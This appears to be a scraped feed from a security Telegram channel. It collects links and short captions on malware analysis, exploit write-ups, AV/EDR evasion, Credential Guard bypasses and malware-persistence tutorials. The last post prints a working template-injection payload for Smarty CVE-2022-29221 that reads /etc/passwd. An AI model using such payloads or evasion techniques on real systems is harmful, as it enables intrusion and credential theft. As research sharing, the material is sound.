Security Analysis – Telegram
Security Analysis
@securation
11.5K subscribers
344 photos
50 videos
36 files
885 links
- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner
Download Telegram
About
Blog
Apps
Platform
Join
Security Analysis
11.5K subscribers
Security Analysis
https://www.bleepingcomputer.com/news/security/bpfdoor-stealthy-linux-malware-bypasses-firewalls-for-remote-access/
BleepingComputer
BPFDoor: Stealthy Linux malware bypasses firewalls for remote access
A recently discovered backdoor malware called BPFDoor has been stealthily targeting Linux and Solaris systems without being noticed for more than five years.
👍2
2.43K viewsAdel, 
Security Analysis
بررسی سه آسیب پذیری در فریمورک radare2

https://vrgl.ir/X8L85
#radare2 #r2
@securation
ویرگول
بررسی سه آسیب پذیری در فریمورک radare2
تو این پست سه تا آسیب پذیری کشف شده در فریمورک radare2 رو بررسی میکنیم
👍5👎1
2.83K viewsAdel, 
Security Analysis
⭕️ Strings deobfuscator

https://github.com/Finch4/Malware-Analysis-Reports/tree/master/Eternity%20Deobfuscator
#Malware #Eternity
@securation
🤩3
2.49K viewsAdel, 
Security Analysis
⭕️Combination of 2 PoCs for bypassing Credential Guard with in-memory invocation

PoC 1 (patch wdigest.dll):
https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240

PoC 2 (find variable offsets in runtime):
https://github.com/itm4n/Pentest-Windows/blob/main/CredGuardBypassOffsets/poc.cpp

Merged:
https://gist.github.com/snovvcrash/43e976779efdd20df1596c6492198c99
#lsass #wdigest #credguard
@securation
👍2👎2
2.79K viewsAdel, edited  
Security Analysis
⭕️ Debugging and Reversing ALPC

https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html

#windows #internals
@securation
👍1👎1
2.17K viewsAdel, 
Security Analysis
سایت فیشینگه ؟

Rvnsndy.com
👍24
2.25K viewsAdel, 
Security Analysis
https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them
Altered Security
Fantastic Windows Logon types and Where to Find Credentials in Them
Hello All,In this blog post we will explore and learn about various Windows Logon Types and understand how are these logon type events are generated. We will also see if we can extract credentials from individual logon types. We will be using our Active Directory…
2.27K viewsAdel, 
Security Analysis
CVE-2022-22954-main.zip
3.5 KB
⭕️VMware Workspace ONE Access and Identity Manager RCE via SSTI.
CVE-2022-22954 - PoC SSTI
*
exploit+payload+shodan
#vmware #cve
@securation
2.41K viewsAdel, edited  
Security Analysis
https://twitter.com/NaserifardA/status/1532377352528969729
Twitter
Aydin Naserifard
XSS Payloads to bypass EncodeURIComponent #XSS #HTML #bugbountytips #bugbounty
2.25K viewsAdel, 
Security Analysis
https://slate.com/technology/2022/06/instagram-meta-iran-protests-exceptions.html
Slate Magazine
How Instagram Is Failing Protesters in Iran
Meta’s deficiencies in content moderation in non-Western languages on their platforms range wide.
2.18K viewsAdel, 
Security Analysis
⭕️CSP Bypass Techniques

https://csplite.com/csp320/
#csp #bypass
@securation
👍1
2.68K viewsAdel, 
Security Analysis
https://securitycafe.ro/2022/06/06/security-source-code-review-manual-approaches/
Security Café
Security Source Code Review – Manual Approaches
Performing security source code reviews is part of the penetration tester’s life. Either that this is the whole scope of an engagement or you exfiltrated the source code of an application and…
2.46K viewsAdel, 
Security Analysis
⭕️New technique for shellcode injection to evade AVs and EDRs

https://github.com/Idov31/FunctionStomping
#shellcode #bypass #edr #av
@securation
GitHub
GitHub - Idov31/FunctionStomping: Shellcode injection technique. Given as C++ header, standalone Rust program or library.
Shellcode injection technique. Given as C++ header, standalone Rust program or library. - Idov31/FunctionStomping
2.72K viewsAdel, edited  
Security Analysis
https://gccybermonks.com/posts/ssrfvision/
2.32K viewsAdel, 
Security Analysis
⭕️ Malware development: persistence - part 1. Registry run keys. C++ example.

Malware development: persistence - part 2. Screensaver hijack. C++ example.

Malware development: persistence - part 3. COM DLL hijack.

Malware development: persistence - part 4. Windows services. Simple C++ example.

Malware development: persistence - part 5. AppInit_DLLs. Simple C++ example.

Malware development: persistence - part 6. Windows netsh helper DLL. Simple C++ example.

Malware AV evasion: part 7. Disable Windows Defender. Simple C++ example.

#malware #dev #cpp
@securation
🔥3
2.62K viewsAdel, edited  
Security Analysis
⭕️ اکسپلویت OOB XXE از طریق متد LOCK در HTTP
https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/

در ارائه زیر که مربوط به کنفرانس Zero Night میشه درباره WebDav XXE attacks صحبت شده ، که متد های PROPPATCH ، PROPFIND ، LOCK و ... XML رو به عنوان ورودی قبول میکنن . و به این موضوع که مخصوصا پیاده سازی های با جاوا آسیب پذیر اند اشاره میکنه.
https://2015.zeronights.org/assets/files/35-Egorov.pdf
#WebDav #LOCK #XXE
@securation
Geek Freak
Exploiting Out-Of-Band XXE on Wildfire
Data Exfiltration using XXE via HTTP LOCK Method
🔥7👍1
3.24K viewsAdel, 
Security Analysis
https://github.com/4ra1n/tomcat-jmxproxy-rce-exp

#go #rce #tomcat #vulnerability
@securation
👍2
2.4K viewsAdel, edited  
Security Analysis
https://marcoramilli.com/2022/06/15/running-shellcode-through-windows-callbacks/
Marco Ramilli Web Corner - Marco Ramilli: cyber security expert, digital entrepreneur and writer
Site is undergoing maintenance
Site will be available soon. Thank you for your patience!
🔥3
2.44K viewsAdel, 
Security Analysis
https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/
Exodus Intelligence
Exploiting a use-after-free in Windows Common Logging File System (CLFS) - Exodus Intelligence
By Arav Garg Overview This post analyzes a use-after-free vulnerability in clfs.sys, the kernel driver that implements the Common Logging File System, a general-purpose logging service that can be used by user-space and kernel-space processes in Windows.…
👍2
2.6K viewsAdel, 
Security Analysis
⭕️ Exploiting a heap overflow in the FreeBSD Wi-fi stack

https://www.zerodayinitiative.com/blog/2022/6/15/cve-2022-23088-exploiting-a-heap-overflow-in-the-freebsd-wi-fi-stack
#heap #freebsd #wifi
@securation
👍2
2.12K viewsAdel, 
Security Analysis
⭕️Smarty PHP Code Injection
< 3.1.45 / >= 4.0.0 / < 4.1.1
CVE-2022-29221

PoC:

{block name='*/phpinfo();/*'}{/block}
{include file='string:*/include"/etc/passwd";exit;/*' inline=1}

#1DAY #smarty #web
@securation
👍7🔥1
2.12K viewsAdel, edited